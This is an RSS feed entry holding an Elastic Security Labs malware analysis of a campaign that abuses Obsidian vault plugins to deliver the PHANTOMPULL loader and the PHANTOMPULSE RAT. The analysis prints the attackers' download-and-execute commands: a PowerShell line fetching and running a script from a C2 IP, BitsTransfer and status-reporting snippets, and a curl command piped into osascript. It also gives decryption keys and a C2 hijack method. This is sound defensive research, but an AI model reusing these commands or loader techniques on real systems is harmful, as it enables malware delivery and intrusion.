<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/">
    <channel>
        <title>Elastic Security Labs - Articles by Salim Bitam</title>
        <link>https://www.elastic.co/jp/security-labs</link>
        <description>Trusted security news &amp; research from the team at Elastic.</description>
        <lastBuildDate>Tue, 19 May 2026 20:21:10 GMT</lastBuildDate>
        <docs>https://validator.w3.org/feed/docs/rss2.html</docs>
        <generator>https://github.com/jpmonette/feed</generator>
        <image>
            <title>Elastic Security Labs - Articles by Salim Bitam</title>
            <url>https://www.elastic.co/jp/security-labs/assets/security-labs-thumbnail.png</url>
            <link>https://www.elastic.co/jp/security-labs</link>
        </image>
        <copyright>© 2026. elasticsearch B.V. All Rights Reserved</copyright>
        <item>
            <title><![CDATA[Phantom in the vault: Obsidian abused to deliver PhantomPulse RAT]]></title>
            <link>https://www.elastic.co/jp/security-labs/phantom-in-the-vault</link>
            <guid>phantom-in-the-vault</guid>
            <pubDate>Tue, 14 Apr 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Elastic Security Labs uncovers a novel social engineering campaign that abuses the popular note-taking application, Obsidian's legitimate community plugin ecosystem. The campaign, which we track as REF6598, targets individuals in the financial and cryptocurrency sectors through elaborate social engineering on LinkedIn and Telegram.]]></description>
            <content:encoded><![CDATA[<blockquote>
<p>A follow-up publication will provide a deeper technical analysis of PHANTOMPULSE itself, covering its injection engines, persistence internals, and C2 protocol in greater detail.</p>
</blockquote>
<h2>Preamble</h2>
<p>Elastic Security Labs has identified a novel social engineering campaign that abuses the popular note-taking application, <a href="https://obsidian.md/">Obsidian</a>, as an initial access vector. The campaign, which we track as REF6598, targets individuals in the financial and cryptocurrency sectors through elaborate social engineering on LinkedIn and Telegram. The threat actors abuse Obsidian's legitimate community plugin ecosystem, specifically the <a href="https://github.com/Taitava/obsidian-shellcommands">Shell Commands</a> and <a href="https://github.com/kepano/obsidian-hider">Hider</a> plugins, to silently execute code when a victim opens a shared cloud vault.</p>
<p>In the observed intrusion, Elastic Defend detected and blocked the attack at the early stage, preventing the threat actors from achieving their objectives on the victim's machine.</p>
<p>The attack chain is cross-platform, with dedicated execution paths for both Windows and macOS. On Windows, an intermediate loader decrypts and reflectively loads payloads entirely in memory using AES-256-CBC, timer queue callback execution, and multiple anti-analysis techniques. The chain culminates in the deployment of a previously undocumented RAT we are naming <strong>PHANTOMPULSE</strong>, a heavily AI-generated, full-featured backdoor with blockchain-based C2 resolution, advanced process injection via module stomping. On macOS, the attack deploys an obfuscated AppleScript dropper with a Telegram-based fallback C2 resolution mechanism.</p>
<p>This post will detail the full attack chain, from social engineering through final payload analysis, and provide detection guidance and indicators of compromise.</p>
<h2>Key takeaways</h2>
<ul>
<li>PHANTOMPULSE is a novel, AI-assisted Windows RAT featuring blockchain-based C2 resolution via Ethereum transaction data and distinct injection techniques</li>
<li>We identified a weakness in the C2 mechanism that allows for a takeover of the implants by responders</li>
<li>Obsidian was abused for initial access social engineering attack</li>
<li>Cross-platform attack chain targeting both Windows and macOS</li>
<li>The macOS payload uses a multi-stage AppleScript dropper with a Telegram dead-drop for fallback C2 resolution</li>
<li>PHANTOMPULL is a custom in-memory loader that delivers PHANTOMPULSE</li>
</ul>
<h2>Campaign overview</h2>
<p>The threat actors operate under the guise of a venture capital firm, initiating contact with targets through LinkedIn. After initial engagement, the conversation moves to a Telegram group where multiple purported partners participate, lending credibility to the interaction. The discussion centers around financial services, specifically cryptocurrency liquidity solutions, creating a plausible business context.</p>
<p>The target is asked to use <a href="https://obsidian.md/">Obsidian</a>, presented as the firm's &quot;management database&quot;, for accessing a shared dashboard. The target is provided credentials to connect to a cloud-hosted vault controlled by the attacker.</p>
<p>This vault is the initial access vector. Once opened in Obsidian, the target is instructed to enable community plugins sync. After that, the trojanized plugins silently execute the attack chain.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/phantom-in-the-vault/image16.png" alt="Execution chain diagram" title="Execution chain diagram" /></p>
<h2>Initial access</h2>
<p>An Elastic Defend behavior alert triggered on suspicious PowerShell execution with Obsidian as the parent process. This immediately caught our attention. Initially, we suspected an untrusted binary masquerading as Obsidian. However, after inspecting the parent process code signature and hash, it appeared to be the legitimate Obsidian binary.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/phantom-in-the-vault/image38.png" alt="Process visualization with Elastic XDR" title="Process visualization with Elastic XDR" /></p>
<p>Pivoting on the process event call stack to determine whether a third-party DLL sideload or unbacked memory region was involved, we confirmed that the process creation originated directly from Obsidian itself.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/phantom-in-the-vault/image30.png" alt="Elastic alert document showcasing the call stack" title="Elastic alert document showcasing the call stack" /></p>
<p>We then investigated the surrounding files for signs of JavaScript injection via modification of dependency files or malicious .asar file planting. Everything appeared to be a clean, legitimate Obsidian installation with no third-party code. At that point, we decided to install Obsidian ourselves and explore what options an attacker could abuse to achieve command execution.</p>
<p>The first thing that stood out was the ability to log in to an Obsidian-synced vault with an email and password.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/phantom-in-the-vault/image14.png" alt="Obsidian menu to open a remote vault" title="Obsidian menu to open a remote vault" /></p>
<p>Obsidian's vault sync feature allows notes and files to be synchronized across devices and platforms. While reviewing the files of the malicious remote vault under the .obsidian config folder, we found evidence that the Shell Commands community plugin had been installed:</p>
<pre><code class="language-plaintext">C:\Users\user\Documents\&lt;redacted_vault_name&gt;\.obsidian\plugins\obsidian-shellcommands\data.json
</code></pre>
<p>The <a href="https://publish.obsidian.md/shellcommands/Index">Shell Commands plugin</a> allows users to execute platform-specific shell commands based on configurable triggers such as Obsidian startup, close, every N seconds, and others.</p>
<p>The contents of data.json confirmed our theory: the configured commands matched exactly what we had observed in the original PowerShell behavior alert.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/phantom-in-the-vault/image36.png" alt="Data.json content of the shell plugin" title="Data.json content of the shell plugin" /></p>
<p>To validate the full attack chain, we attempted to replicate the behavior end-to-end across two machines, a host and a VM using a paid Obsidian Sync license. On the host, we installed the Shell Commands community plugin with a custom command configured to spawn <code>notepad.exe</code> on startup. On the VM, we logged in to the same Obsidian account and connected to the remote vault.</p>
<p>The synced vault on the VM received the base configuration files (<code>app.json</code>, <code>appearance.json</code>, <code>core-plugins.json</code>, <code>workspace.json</code>), but notably the <code>plugins/</code> directory and <code>community-plugins.json</code> were absent entirely. This is because Obsidian's Sync settings expose two separate toggles &quot;Active community plugin list&quot; and &quot;Installed community plugins&quot; both of which are disabled by default and are local client-side preferences that do not propagate through sync.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/phantom-in-the-vault/image37.png" alt="Obsidian settings" title="Obsidian settings" /></p>
<p>As shown below, the plugins and community_plugins manifest are not synced automatically (any file inside the .obsidian directory).</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/phantom-in-the-vault/image2.png" alt=".obsidian folder content" title=".obsidian folder content" /></p>
<p>However, once enabled, the Shell Commands plugin immediately triggers execution of attacker-defined commands on vault open:</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/phantom-in-the-vault/image20.png" alt="Process tree" title="Process tree" /></p>
<p>This means an attacker cannot remotely force the installation or enablement of a community plugin via vault sync alone. The victim must manually enable the community plugin sync on their device before the weaponized plugin configuration pulls down and triggers execution.</p>
<p>In the case we investigated, the attacker provided Obsidian account credentials directly to the victim as part of a social engineering lure, likely instructing them to log in, enable community plugin sync, and connect to the pre-staged vault. Once those steps were completed, the Shell Commands plugin and its data.json configuration synced automatically, and on the next configured trigger, the payload executed without any further interaction.</p>
<p>While this attack requires social engineering to cross the community plugin sync boundary, the technique remains notable: it abuses a legitimate application feature as a persistence and command execution channel, the payload lives entirely within JSON configuration files that are unlikely to trigger traditional AV signatures, and execution is handed off by a signed, trusted Electron application, making parent-process-based detection the critical layer.</p>
<p>Alongside the Shell Commands plugin, the author used <a href="https://github.com/kepano/obsidian-hider">Hider</a> (v1.6.1), a UI-cleanup plugin that hides interface elements. With every concealment option enabled, the following is the configuration:</p>
<pre><code class="language-yaml">{
  &quot;hideStatus&quot;: true,
  &quot;hideTabs&quot;: true,
  &quot;hideScroll&quot;: true,
  &quot;hideSidebarButtons&quot;: true,
  &quot;hideTooltips&quot;: true,
  &quot;hideFileNavButtons&quot;: true,
}
</code></pre>
<h3>Windows execution chain</h3>
<h4>Stage 1</h4>
<p>The Shell Commands plugin's Windows command contained two <code>Invoke-Expression</code> calls with Base64-encoded strings that decode to the following:</p>
<pre><code class="language-Powershell">iwr http://195.3.222[.]251/script1.ps1 -OutFile env:TEMP\tt.ps1 -UseBasicParsing powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -File &quot;env:TEMP\tt.ps1&quot;
</code></pre>
<p>This will download a second-stage PowerShell script from a hardcoded IP address and execute it.</p>
<h4>Stage 2</h4>
<p>The downloaded PowerShell script (<code>script1.ps1</code>) implements a loader-delivery mechanism with a built-in operator-notification system. The script uses <code>BitsTransfer</code> to download the next-stage binary and reports its progress to the C2.</p>
<pre><code class="language-Powershell">Import-Module BitsTransfer
Start-BitsTransfer -Source 'http://195.3.222[.]251/syncobs.exe?q=%23OBSIDIAN' `
  -Destination &quot;$env:TEMP\syncobs.exe&quot;
</code></pre>
<p>After the download, the script verifies the file's existence and reports the outcome to the C2 at <code>195.3.222[.]251/stuk-phase</code>. It appears that the prepended characters (<code>G</code>, <code>R</code>) to the Status Message, declaring <code>G</code>REEN or <code>R</code>ED as a status color code. The following is a table of all the status messages:</p>
<table>
<thead>
<tr>
<th align="center">Status Message</th>
<th align="center">Meaning</th>
</tr>
</thead>
<tbody>
<tr>
<td align="center"><code>GFILE FOUND ON PC</code></td>
<td align="center">Binary downloaded successfully</td>
</tr>
<tr>
<td align="center"><code>RDOWNLOAD ERROR</code></td>
<td align="center">Download failed, retrying</td>
</tr>
<tr>
<td align="center"><code>RFATAL DOWNLOAD ERROR</code></td>
<td align="center">Download failed after retry</td>
</tr>
<tr>
<td align="center"><code>GLAUNCH SUCCESS</code></td>
<td align="center">Binary executed and child processes detected</td>
</tr>
<tr>
<td align="center"><code>RLAUNCH FAILED</code></td>
<td align="center">Binary failed to start within the timeout</td>
</tr>
<tr>
<td align="center"><code>GSESSION CLOSED</code></td>
<td align="center">Execution sequence completed</td>
</tr>
</tbody>
</table>
<p>The <code>tag</code> parameter (<code>Obsidian</code>) sent with each status update identifies the campaign or infection vector, suggesting the operators might be running multiple concurrent campaigns.</p>
<pre><code class="language-c">if ($started) {
    Invoke-RestMethod -Uri &quot;http://195.3.222[.]251/stuk-phase&quot; -Method Post -Body @{ message = &quot;GLAUNCH SUCCESS&quot;; tag = $tag }
} else {
    Invoke-RestMethod -Uri &quot;http://195.3.222[.]251/stuk-phase&quot; -Method Post -Body @{ message = &quot;RLAUNCH FAILED&quot;; tag = $tag }
}
Start-Sleep -Seconds 3

Invoke-RestMethod -Uri &quot;http://195.3.222[.]251/stuk-phase&quot; -Method Post -Body @{ message = &quot;GSESSION CLOSED&quot;; tag = $tag }
</code></pre>
<h4>Loader - PHANTOMPULL</h4>
<p>This loader is a 64-bit Windows PE executable that extracts an AES-256-CBC-encrypted PE payload from its own resources, decrypts it, and reflectively loads it into memory. This in-memory payload then downloads the next stage from the domain (<code>panel.fefea22134[.]net</code>) over HTTPS.</p>
<p>The third-stage payload (PHANTOMPULSE) is then decrypted and loaded reflectively via <code>DllRegisterServer</code>. This loader, which we are calling PHANTOMPULL, includes runtime API resolution and timer-queue-based execution. This sample includes minor forms of evasion/obfuscation, along with dead code; these techniques are used as an anti-analysis trick to waste the analyst's time investigating the malware.</p>
<h3>Execution Flow</h3>
<h4>Stage 1</h4>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/phantom-in-the-vault/image25.png" alt="Execution flow via Stage 1" title="Execution flow via Stage 1" /></p>
<h4>Stage 2</h4>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/phantom-in-the-vault/image29.png" alt="Execution flow via Stage 2" title="Execution flow via Stage 2" /></p>
<h3>Fake Integrity Check</h3>
<p>The loader begins with a strange start using a dead-code guard that compares <code>GetTickCount()</code> against the hex value (<code>0xFFFFFFFE</code>) — a value that corresponds to approximately 49.7 days of continuous system uptime, making the condition virtually unreachable. The guarded block contains convincing but unreachable anti-tamper functions designed to waste analysts' time during reverse engineering.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/phantom-in-the-vault/image23.png" alt="Fake Integrity check" title="Fake Integrity check" /></p>
<p>The  <code>anti_tamper_integrity_checksum()</code> function is also pretty strange; it doesn’t actually hash any of the underlying bytes, but sums all the function addresses in the binary. The checksum is never compared to anything; this is likely an intended anti-analysis technique to waste analyst time and bloat the binary.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/phantom-in-the-vault/image1.png" alt="Integrity check summing up the function addresses" title="Integrity check summing up the function addresses" /></p>
<h3>API Hashing</h3>
<p>This loader resolves API functions dynamically at runtime using the <code>djb2</code> hashing algorithm with seed <code>0x4E67C6A7</code>. The following APIs were resolved:</p>
<ul>
<li><code>VirtualAlloc</code></li>
<li><code>VirtualProtect</code></li>
<li><code>VirtualFree</code></li>
<li><code>LoadLibraryA</code></li>
<li><code>GetProcessAddress</code></li>
</ul>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/phantom-in-the-vault/image40.png" alt="Resolving API addresses" title="Resolving API addresses" /></p>
<h3>Resource Extraction + Decryption</h3>
<p>PHANTOMPULL stores its encrypted in-memory payload inside its own resources.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/phantom-in-the-vault/image42.png" alt="RCDATA 101 via Resource Hacker" title="RCDATA 101 via Resource Hacker" /></p>
<p>In order to extract the bytes, it uses <code>FindResourceA,</code> locating the resource type (<code>RT_RCDATA</code>) under ID (<code>101</code>). The resource is mapped into memory and copied into a region marked with <code>PAGE_READWRITE</code> permissions.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/phantom-in-the-vault/image33.png" alt="Resource Extraction" title="Resource Extraction" /></p>
<p>Next, the loader performs AES-256-CBC decryption using <code>BCryptOpenAlgorithmProvider</code>. The key is hardcoded in the <code>.rdata</code> section</p>
<p><strong>Key:</strong>  <code>6a85736b64761a8b2aaeadc1c0087e1897d16cc5a9d49c6a6ea1164233bad206</code></p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/phantom-in-the-vault/image27.png" alt="Embedded AES-256-CBC key" title="Embedded AES-256-CBC key" /></p>
<p>The IV is also hard-coded on the stack: <code>A6FA4ADFC20E8E6B77E2DD631DC8FF18</code><br />
<img src="https://www.elastic.co/jp/security-labs/assets/images/phantom-in-the-vault/image7.png" alt="Bcrypt Crypto Details" title="Bcrypt Crypto Details" /></p>
<p>After decryption, the loader validates the output is a valid PE by checking the MZ header magic value with a comparison instruction using a hard-coded value (<code>0x0C1DF</code>) that gets XOR’d with (<code>0x9B92</code>), equaling the PE magic header (0x5a4d). This is an example of some of the lightweight obfuscation efforts that often seem awkward and don't fit in.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/phantom-in-the-vault/image4.png" alt="Magic Header XOR calculation" title="Magic Header XOR calculation" /></p>
<h3>Execution</h3>
<p>Rather than calling the payload directly (which is easily detected by sandboxes), the loader uses a timer queue callback. The 50ms delay and separate-thread execution can evade various security/sandbox tooling.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/phantom-in-the-vault/image9.png" alt="CreateTimerQueue functionality" title="CreateTimerQueue functionality" /></p>
<p>Inside the callback is the reflective PE-loading functionality, which is then used to execute the next stage.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/phantom-in-the-vault/image11.png" alt="Timer callback calling reflective PE loader" title="Timer callback calling reflective PE loader" /></p>
<p>This reflective loading function is the core execution component. It copies the PE headers, maps each section into memory, applies base relocations, resolves imports, and sets the final section protections — producing a fully functional, memory-resident PE that never touches disk.</p>
<p>Execution is then transferred to the second stage via an indirect <code>call rbp</code> instruction, where RBP holds the computed entry point address of the reflectively loaded PE.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/phantom-in-the-vault/image26.png" alt="Indirect call to second stage" title="Indirect call to second stage" /></p>
<h3>Second Stage</h3>
<p>The second stage is responsible for downloading the remotely hosted payload (PHANTOMPULSE) and for using a similar reflective-loading technique to launch the implant. This stage starts by creating a mutex from an XOR operation with two hard-coded global variables.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/phantom-in-the-vault/image6.png" alt="Mutex generation via XOR" title="Mutex generation via XOR" /></p>
<p>The mutex name for this sample is: <code>hVNBUORXNiFLhYYh</code></p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/phantom-in-the-vault/image28.png" alt="Observed Mutex" title="Observed Mutex" /></p>
<p>After the mutex is created, this code enters a persistent loop that attempts to download the payload from the C2 server. If the download successfully returns a valid buffer, it breaks out and proceeds to the reflective loading stage.</p>
<p>On failure, the code employs an exponential backoff — starting with a 5-second sleep and multiplying by 1.5x on each retry, capping just under 5 minutes. This avoids a fixed beacon interval that would be trivially fingerprinted in network traffic.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/phantom-in-the-vault/image22.png" alt="Download and timeout functionality" title="Download and timeout functionality" /></p>
<p>The downloader functionality starts by decrypting the C2 and URL.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/phantom-in-the-vault/image35.png" alt="C2 and URL decryption functions" title="C2 and URL decryption functions" /></p>
<p>The C2 and URL are both decrypted using a simple string decryption function using a 16-byte rotating key (<code>f77c8e40dfc17be5e74d8679d5b35341</code>).</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/phantom-in-the-vault/image5.png" alt="XOR String decryption function" title="XOR String decryption function" /></p>
<p>Next, the malware builds the HTTPS request, appending the string using the URI <code>/v1/updates/check?build=payloads</code> and setting the User Agent (<code>Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36</code>). This loader uses the WinHTTP library to connect to the C2 on port <code>443</code>.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/phantom-in-the-vault/image34.png" alt="WinHTTP functionality used to download PHANTOMPULSE" title="WinHTTP functionality used to download PHANTOMPULSE" /></p>
<p>The malware takes the buffer from the remote C2 URL and decrypts the payload with a 16-byte XOR key (<code>dcf5a9b27cbeedb769ccc8635d204af9</code>)</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/phantom-in-the-vault/image19.png" alt="Payload Decryption via XOR" title="Payload Decryption via XOR" /></p>
<p>Below are the first bytes of the XOR-encoded payload:</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/phantom-in-the-vault/image24.png" alt="Payload bytes before the XOR" title="Payload bytes before the XOR" /></p>
<p>Below are the first bytes after the XOR takes place:</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/phantom-in-the-vault/image3.png" alt="Payload bytes after the XOR" title="Payload bytes after the XOR" /></p>
<p>After the download and XOR operations, PHANTOMPULL parses the payload and reflects the DLL using <code>DLLRegisterServer</code>.</p>
<p>By quickly checking the strings, we can see the main backdoor, PHANTOMPULSE:</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/phantom-in-the-vault/image18.png" alt="PHANTONPULSE Implant strings" title="PHANTONPULSE Implant strings" /></p>
<h3>RAT - PHANTOMPULSE</h3>
<p>PHANTOMPULSE is a sophisticated 64-bit Windows RAT designed for stealth, resilience, and comprehensive remote access. The binary exhibits strong indicators of AI-assisted development: Debug strings throughout the code are abnormally verbose, self-documenting, and follow a structured step-numbering pattern (<code>[STEP 1]</code>, <code>[STEP 1/3]</code>, <code>[STEP 2/3]</code>)</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/phantom-in-the-vault/image13.png" alt="PHANTOMPULSE implant or strings view" title="PHANTOMPULSE implant or strings view" /></p>
<p>During our research, we discovered that the C2 infrastructure had a publicly exposed panel branded as <code>“Phantom Panel&quot;</code>, featuring a login page with username, password, and captcha fields. The panel's design and structure suggest it was also AI-generated, consistent with the development patterns observed in the RAT itself.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/phantom-in-the-vault/image15.png" alt="Malware panel" title="Malware panel" /></p>
<h4>C2 rotation through blockchain</h4>
<p>PHANTOMPULSE implements a decentralized C2 resolution mechanism using public blockchain infrastructure as a dead drop. The malware's primary method for obtaining its C2 URL is by resolving it from on-chain transaction data. A hardcoded C2 URL serves as a fallback if the blockchain resolution fails after repeated attempts.</p>
<p>The malware queries the Etherscan-compatible API (<code>/api?module=account&amp;action=txlist&amp;address=&lt;wallet&gt;&amp;page=1&amp;offset=1&amp;sort=desc</code>) on three Blockscout instances:</p>
<ul>
<li><code>eth.blockscout[.]com</code> (Ethereum L1)</li>
<li><code>base.blockscout[.]com</code> (Base L2)</li>
<li><code>optimism.blockscout[.]com</code> (Optimism L2)</li>
</ul>
<p>Each request fetches the most recent transaction associated with a hardcoded wallet address (<code>0xc117688c530b660e15085bF3A2B664117d8672aA</code>), which is itself XOR-encrypted in the binary. The malware parses the transaction's <code>input</code> data field from the JSON response, strips the <code>0x</code> prefix, hex-decodes the raw bytes, and XOR-decrypts the result using the wallet address as the XOR key. If the decrypted output begins with <code>http</code>, it is accepted as the new active C2 URL.</p>
<p>This technique provides the operator with an infrastructure-agnostic rotation capability: publishing a new C2 endpoint requires only submitting a transaction with crafted calldata to the wallet on any of the three monitored chains. Because blockchain transactions are immutable and publicly accessible, the malware can always locate its C2 without relying on centralized infrastructure. The use of three independent chains adds redundancy: even if one chain's explorer is blocked or unavailable, the remaining two provide alternative resolution paths.</p>
<p>However, this design introduces a significant weakness. The Blockscout API returns all transactions involving the wallet address, both sent and received, sorted in reverse chronological order. The malware does not verify the sender of the transaction. This means any third party who knows the wallet address and the XOR key (both recoverable from the binary) can craft a transaction to the wallet containing a competing input payload. Because the malware always selects the most recent transaction, a single inbound transaction with a more recent timestamp would override the operator's intended C2 URL. In practice, this allows anyone to hijack the C2 resolution by submitting a sinkhole URL encoded with the same XOR scheme, effectively redirecting all infected hosts away from the attacker infrastructure.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/phantom-in-the-vault/image21.png" alt="Wallet transaction example" title="Wallet transaction example" /></p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/phantom-in-the-vault/image41.png" alt="Xor decrypting the raw input" title="Xor decrypting the raw input" /></p>
<h4>C2 communication</h4>
<p>PHANTOMPULSE uses WinHTTP for C2 communication, dynamically loading <code>winhttp.dll</code> and resolving all required functions at runtime. The C2 infrastructure is built around five API endpoints:</p>
<table>
<thead>
<tr>
<th>Endpoint</th>
<th>Method</th>
<th>Purpose</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>/v1/telemetry/report</code></td>
<td>POST</td>
<td>Heartbeat with system telemetry</td>
</tr>
<tr>
<td><code>/v1/telemetry/tasks/&lt;id&gt;</code></td>
<td>GET</td>
<td>Command fetch</td>
</tr>
<tr>
<td><code>/v1/telemetry/upload/</code></td>
<td>POST</td>
<td>Screenshot/file upload</td>
</tr>
<tr>
<td><code>/v1/telemetry/result</code></td>
<td>POST</td>
<td>Command result delivery</td>
</tr>
<tr>
<td><code>/v1/telemetry/keylog/</code></td>
<td>POST</td>
<td>Keylog data upload</td>
</tr>
</tbody>
</table>
<p>The heartbeat sends comprehensive system telemetry as JSON, including CPU model, GPU, RAM, OS version, username, privilege level, public IP, installed AV products, installed applications, and the results of the last command execution.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/phantom-in-the-vault/image31.png" alt="System information collection" title="System information collection" /></p>
<h4>Command table</h4>
<p>The command dispatcher parses JSON responses from the C2 to extract and hash commands via the <code>djb2</code> algorithm. This hash is processed by a switch-case statement to execute the corresponding logic, as seen in the pseudocode below:</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/phantom-in-the-vault/image32.png" alt="Pseudocode command dispatcher" title="Pseudocode command dispatcher" /></p>
<table>
<thead>
<tr>
<th>Hash</th>
<th>Command</th>
<th>Action</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>0x04CF1142</code></td>
<td><code>inject</code></td>
<td>Inject shellcode/DLL/EXE into target process</td>
</tr>
<tr>
<td><code>0x7C95D91A</code></td>
<td><code>drop</code></td>
<td>Drop the file to the disk and execute</td>
</tr>
<tr>
<td><code>0x9A37F083</code></td>
<td><code>screenshot</code></td>
<td>Capture and upload a screenshot</td>
</tr>
<tr>
<td><code>0x08DEDEF0</code></td>
<td><code>keylog</code></td>
<td>Start/stop keylogger</td>
</tr>
<tr>
<td><code>0x4EE251FF</code></td>
<td><code>uninstall</code></td>
<td>Full persistence removal and cleanup</td>
</tr>
<tr>
<td><code>0x65CCC50B</code></td>
<td><code>elevate</code></td>
<td>Escalate to SYSTEM via COM elevation moniker</td>
</tr>
<tr>
<td><code>0xB3B5B880</code></td>
<td><code>downgrade</code></td>
<td>SYSTEM -&gt; elevated admin transition</td>
</tr>
<tr>
<td><code>0x20CE3BC8</code></td>
<td><code>&lt;unresolved&gt;</code></td>
<td>Resolves APIs, calls ExitProcess(0) self-termination</td>
</tr>
</tbody>
</table>
<h3>MacOS execution chain</h3>
<h4>Stage 1: AppleScript via osascript</h4>
<p>The Shell commands plugin's macOS command executes a Base64-encoded payload through <code>osascript</code>.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/phantom-in-the-vault/image10.png" alt="MacOS stage 1 payload" title="MacOS stage 1 payload" /></p>
<p>The decoded payload performs two primary actions:</p>
<p><strong>LaunchAgent persistence</strong>: Creates a persistent LaunchAgent plist at <code>~/Library/LaunchAgents/com.vfrfeufhtjpwgray.plist</code> configured with <code>KeepAlive</code> and <code>RunAtLoad</code> set to <code>true</code>, ensuring the second-stage payload executes on every login and restarts if terminated.</p>
<p><strong>Second-stage execution</strong>: The LaunchAgent executes a heavily obfuscated AppleScript dropper through <code>/bin/bash -c</code> piped into <code>osascript</code>.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/phantom-in-the-vault/image12.png" alt="MacOS stage 1 payload decoded" title="MacOS stage 1 payload decoded" /></p>
<h4>Stage 2: Obfuscated AppleScript dropper</h4>
<p>The second-stage payload is an obfuscated AppleScript dropper that employs multiple evasion techniques.</p>
<p><strong>String obfuscation</strong>: All sensitive strings (domains, URLs, user-agent values) are constructed at runtime using <code>ASCII character</code>, <code>character id</code>, and <code>string id</code> calls, preventing static string extraction:</p>
<pre><code>property __tOlA5QTO5I : {(string id {48, 120, 54, 54, 54, 46, 105, 110, 102, 111})}
-- Decodes to: &quot;0x666.info&quot;
</code></pre>
<p><strong>Decoy variables</strong>: Numerous unused variables with random names and values are defined to increase entropy and hinder analysis.</p>
<p><strong>Fragmented concatenation</strong>: Strings are split across mixed encoding methods, combining literal fragments with character-ID lookups to defeat pattern matching.</p>
<h4>C2 resolution with Telegram fallback</h4>
<p>The dropper implements a layered C2 resolution strategy:</p>
<ol>
<li><strong>Primary</strong>: Iterates over a hardcoded domain list (including <code>0x666[.]info</code>), sending a POST request with body <code>&quot;check&quot;</code> to validate C2 availability</li>
<li><strong>Fallback</strong>: If the primary domain is unreachable, scrapes a public Telegram channel (<code>t[.]me/ax03bot</code>) to extract a backup domain<br />
<img src="https://www.elastic.co/jp/security-labs/assets/images/phantom-in-the-vault/image8.png" alt="Backup Domain" title="Backup Domain" /></li>
</ol>
<p>This Telegram dead-drop technique allows operators to rotate C2 infrastructure, making domain-based blocking insufficient as a sole mitigation.</p>
<h4>Payload retrieval</h4>
<p>Once a C2 is resolved, the script downloads and pipes a second-stage payload directly into <code>osascript</code>:</p>
<pre><code>curl -s --connect-timeout 5 --max-time 10 --retry 3 --retry-delay 2 -X POST &lt;C2_URL&gt; \
  -H &quot;User-Agent: &lt;spoofed Chrome UA&gt;&quot;-d &quot;txid=346272f0582541ae5dd08429bb4dc4ff&amp;bmodule&quot;| osascript
</code></pre>
<p>The victim identifier (<code>txid</code>) and module selector (<code>bmodule</code>) are sent as POST parameters. The response is expected to be another AppleScript payload executed immediately. At the time of analysis, the C2 servers for the macOS chain were offline, preventing the collection of subsequent stages.</p>
<h3>Infrastructure analysis</h3>
<h4>Wallet activity</h4>
<p>Examining the on-chain activity for the hardcoded wallet (<code>0xc117688c530b660e15085bF3A2B664117d8672aA</code>) reveals the operator's C2 rotation history. The two most recent transactions are self-transfers (wallet to itself), each encoding a different C2 URL in the transaction input data:</p>
<table>
<thead>
<tr>
<th>Date (UTC)</th>
<th>Decoded C2 URL</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>Feb 19, 2026 12:29:47</code></td>
<td><code>https://panel.fefea22134[.]net</code></td>
</tr>
<tr>
<td><code>Feb 12, 2026 22:01:59</code></td>
<td><code>https://thoroughly-publisher-troy-clara[.]trycloudflare[.]com</code></td>
</tr>
</tbody>
</table>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/phantom-in-the-vault/image17.png" alt="Transaction history" title="Transaction history" /></p>
<p>The use of a Cloudflare Tunnel domain (<code>trycloudflare[.]com</code>) as a prior C2 endpoint is notable, as it allows the operator to expose a local server through Cloudflare's infrastructure without registering a domain, providing an additional layer of anonymity.</p>
<p>The wallet was initially funded on Feb 12, 2026, at 21:39:47 UTC by a separate account (<code>0x38796B8479fDAE0A72e5E7e326c87a637D0Cbc0E</code>) with a transfer of $5.84 and an empty input field (<code>0x</code>), confirming this was purely a funding transaction. The funding wallet itself has conducted approximately 50 transactions over the past three months, which provides a potential pivot point for uncovering additional campaigns operated by the same threat actor.</p>
